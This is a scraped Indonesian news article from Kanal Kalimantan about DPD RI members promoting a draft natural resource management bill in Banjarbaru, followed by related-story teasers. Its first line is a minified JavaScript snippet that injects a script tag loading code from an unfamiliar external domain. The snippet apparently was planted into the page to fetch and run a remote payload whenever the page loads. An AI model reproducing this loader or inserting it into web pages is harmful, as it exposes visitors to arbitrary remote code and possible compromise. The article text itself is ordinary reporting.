(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Rancangan Undang-Undang Sistem Pengelolaan Sumber Daya Alam (RUU SP SDA) disosialisasikan oleh Dewan Perwakilan Daerah (DPD) RI di aula H Maksid, Setda Provinsi Kalimantan Selatan, Kamis (9/2/2023) siang.
RUU SP SDA disebut memiliki dimensi luas dari urusan pertambangan, perkebunan, kelautan dan perairan, lingkungan hidup, hingga soal tarik ulur kepentingan pemerintah pusat dan daerah.
Anggota DPD RI, Aji Mirni Mawarni mengatakan, banyak menerima keluhan terkait otonomi daerah. Terutama terkait banyak penyelesaian masalah yang ditarik ke pusat. Menurutnya, dengan hal tersebut pihaknya harus mendengarkan kedua belah pihak.
Dengan banyaknya kebijakan yang ditarik ke pusat, dirinya mengingatkan sumber daya manusia (SDM) pemerintah daerah sangat penting, karena akan mempengeruhi keberhasilan otonomi daerah.
“RUU ini guna mengakomodir, permasalahan dari pemerintah daerah yang sudah banyak ditarik oleh pusat,” ujarnya.
Sehingga menurutnya perlu adanya keseimbangan antara pemerintah daerah dan pemerintah pusat terkait kebijakan tersebut.
Sosialisasi RUU SP SDA di Kalimantan Selatan. Foto: ibnu
Senada dengan Aji Mirni, Anggota DPD RI lainnya, Agustin Teras Narang mengatakan, banyak permasalahan yang ditemuinya terkait SDA ini. Sehingga dengan adanya RUU ini pihaknya mengklaim dapat menyeimbangkan antara kepentingan daerah, masyarakat dan investor menjadi satu kesatuan.
“Masyarakat di sini tidak dirugikan,” ujarnya.
Hal ini dikarenakan didalam RUU SP SDA ini terjadi keadilan secara merata, adanya kepastian dan kemanfaatan bagi masyarakat.
“Yang penting lagi, akan tercipta kesejahteraan bagi daerah,” katanya.
Baca juga: Baramarta Disebut Selalu Merugi, Massa Unjuk Rasa Minta Dibubarkan
Disinggung kebijakan pusat yang mengeluarkan izin tambang, dikatakan Teras, dengan adanya RUU SP SDA ini nantinya diklaim akan melibatkan pemerintah daerah dalam mengeluarkan izin tambang.
“Nanti kami minta secara tertulis (keluhan daerah) sebagai bahan,” bebernya.
Disamping itu juga, kata Teras dengan adanya RUU SP SDA ini, nantinya diharapkan mampu mengembalikan pengelolaan sumber daya ke daerah.
“Ini terkait sistem, kalau sudah bicara sistem itu artinya payung, nanti turunannya yang tadi (pengembalian pengelolaam sumber daya ke daerah), harapannya seperti itu,” tutupnya. (Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.